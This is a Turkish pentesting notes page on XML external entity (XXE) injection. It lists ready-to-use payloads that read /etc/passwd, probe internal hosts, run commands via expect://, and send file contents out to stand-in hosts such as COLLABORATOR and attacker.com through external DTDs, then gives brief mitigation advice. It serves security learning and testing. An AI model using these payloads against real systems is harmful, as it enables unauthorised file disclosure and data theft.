🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • XXE Injection Nedir?
  • Yöntemler
  • Basic XXE
  • XXE SSRF
  • XXE RCE
  • Blind XXE
  • Blind XXE ile Veri Çekme
  • BASE64 Blind XXE ile Veri Çekme
  • Blind XXE Error Message
  • XInclude XXE
  • SVG File Upload
  • Local DTD ile XXE
  • Çözümler
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

XXE Injection

PreviousOS Command InjectionNextSSTI

Last updated 13 days ago

Was this helpful?

XXE Injection Nedir?

  • XML external entity injection, bir saldırganın bir uygulamanın XML verilerini işlemesine müdahale etmesine imkan tanıyan bir web güvenlik açığıdır.

  • Genellikle bir saldırganın uygulama sunucusu dosya sistemindeki dosyaları görüntülemesine ve uygulamanın kendisinin erişebildiği herhangi bir back-end veya external sistemle etkileşime girmesine izin verir.

  • Bazı durumlarda saldırgan, SSRF saldırıları gerçekleştirmek için XXE güvenlik açığından yararlanarak sunucuyu veya back-end sistemleri ele geçirmek için bir XXE saldırısını kullanabilir.

Yöntemler

Basic XXE

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

XXE SSRF

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://127.0.0.1/"> ]>

XXE RCE

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "expect://whoami"> ]>

Blind XXE

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://COLLABORATOR"> ]>
&xxe;
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "http://COLLABORATOR"> %xxe; ]>

Blind XXE ile Veri Çekme

<!--Exploit Server-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLABORATOR/?x=%file;'>">
%eval;
%exfil;

<!--Target-->
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd"> %xxe;]>

BASE64 Blind XXE ile Veri Çekme

<!--Exploit Server-->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLABORATOR/?x=%file;'>">
%eval;
%exfil;

<!--Target-->
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd"> %xxe;]>

Blind XXE Error Message

<!--Exploit Server-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

<!--Target-->
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd"> %xxe;]>

XInclude XXE

Eğer xml'in tamamını kontrol edemiyorsak sadece parametrelerini kontrol edebiliyorsak denenir.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

SVG File Upload

Eğer bir dosya yükleme fonksiyonu svg dosyası kabul ediyorsa çalışabilir.

Apache Batik kütüphanesi kullanılıyorsa çalışır.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

Local DTD ile XXE

Sadece GNOME ortamlarda çalışır.

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Çözümler

  • Neredeyse tüm XXE güvenlik açıkları, uygulamanın XML parser kütüphanesinin, uygulamanın ihtiyaç duymadığı veya kullanmayı düşünmediği potansiyel olarak tehlikeli XML özelliklerini desteklemesi nedeniyle ortaya çıkar. XXE saldırılarını önlemenin en kolay ve etkili yolu bu özellikleri devre dışı bırakmaktır.

  • Genellikle, harici varlıkların çözümlemesini devre dışı bırakmak ve XInclude desteğini devre dışı bırakmak yeterlidir. Bu genellikle yapılandırma seçenekleri aracılığıyla veya varsayılan davranışı programlı olarak geçersiz kılarak yapılabilir.

Kaynaklar

Request Bin:

Ngrok:

Request Bin:

Ngrok:

Portswigger Academy:

🕸️
https://pipedream.com/requestbin
https://ngrok.com/
https://pipedream.com/requestbin
https://ngrok.com/
https://portswigger.net/web-security/xxe